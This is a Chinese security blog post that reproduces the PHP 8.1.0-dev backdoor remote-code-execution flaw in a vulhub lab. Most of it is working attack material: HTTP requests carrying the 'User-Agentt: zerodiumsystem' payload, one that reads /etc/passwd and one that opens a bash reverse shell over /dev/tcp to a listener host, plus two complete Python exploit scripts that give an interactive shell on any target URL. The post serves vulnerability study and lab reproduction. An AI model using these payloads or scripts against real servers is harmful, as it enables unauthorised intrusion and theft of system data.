PHP 8.1.0-dev 后门远程命令执行漏洞复现

Timeline Sec

发布于 2021-06-25 11:39:07

3.1K0

发布于 2021-06-25 11:39:07

文章被收录于专栏：Timeline SecTimeline Sec

作者：Pet3r@Timeline Sec

本文字数：1465

阅读时长：3～4min

声明：请勿用作违法用途，否则后果自负

0x01 简介

PHP verion 8.1.0-dev于2021年3月28日与后门一起发布，但是后门很快被发现并删除。

0x02 漏洞概述

PHP verion 8.1.0-dev的PHP在服务器上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

0x03 影响版本

PHP 8.1.0-dev

0x04 环境搭建

使用vulhub进行搭建：

cd vulhub/php/8.1-backdoor
sudo docker-compose up -d

访问主页

http://192.168.40.140:8080/

0x05 漏洞复现

1、POC验证

GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
User-Agentt: zerodiumvar_dump(2*3); //或者User-Agentt: zerodiumsystem("cat /etc/passwd");
Upgrade-Insecure-Requests: 1

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't access tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit

2、反弹shell或执行exp

GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=LBY9g1TYdvw2RyGQCX7JTQGt7Rn6TJnDmWhyJtKwMj2nL0M6GyyY!-1150793974; JSESSIONID=0B07F68800D0F5C0D8BD254A8748E2FF
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/192.168.40.129/6666 0>&1'");
Upgrade-Insecure-Requests: 1

EXP：

import argparse, textwrap
import requests
import sys
 
 
parser = argparse.ArgumentParser(description="PHP 8.1.0-dev WebShell RCE", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell= id
OR
[^] WebShell= whoami
'''))                    
 
parser.add_argument("-l","--url", help="PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)")
args = parser.parse_args()
 
if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -l [url]")         
    sys.exit() 
 
# Variables
Host = args.url
 
r = requests.session()
 
## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } )
 
def svcheck():
    verify = r.get(f'{Host}')
 
    if (verify.headers['X-Powered-By'] == 'PHP/8.1.0-dev') :
        print("Target is running on PHP 8.1.0-dev\n")
        return True
 
def exec():
    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'User-Agentt' : f'zerodiumsystem("{Command}");'
                     }
  
    door = r.get(f'{Host}', headers = headerscontent, allow_redirects= False)
 
    resp = door.text.split("<!DOCTYPE html>")[0]
    if (resp == ""):
        print()
        print("Invalid Command")
        print()  
    else:
        print()
        print(resp)
 
 
if __name__ == "__main__":
 
    print ('\n[+] PHP 8.1.0-dev WebShell RCE \n ')
    try:   
        if svcheck() == True:
            print("*Type the command* \n")
            try:
                while True:
                    Command = input("[^] WebShell= ")
                    exec()
            except:
                print("\r\nExiting.")
                sys.exit(-1)
     
    except Exception as ex:
        print('Invalid URL or Target not Vulnerable')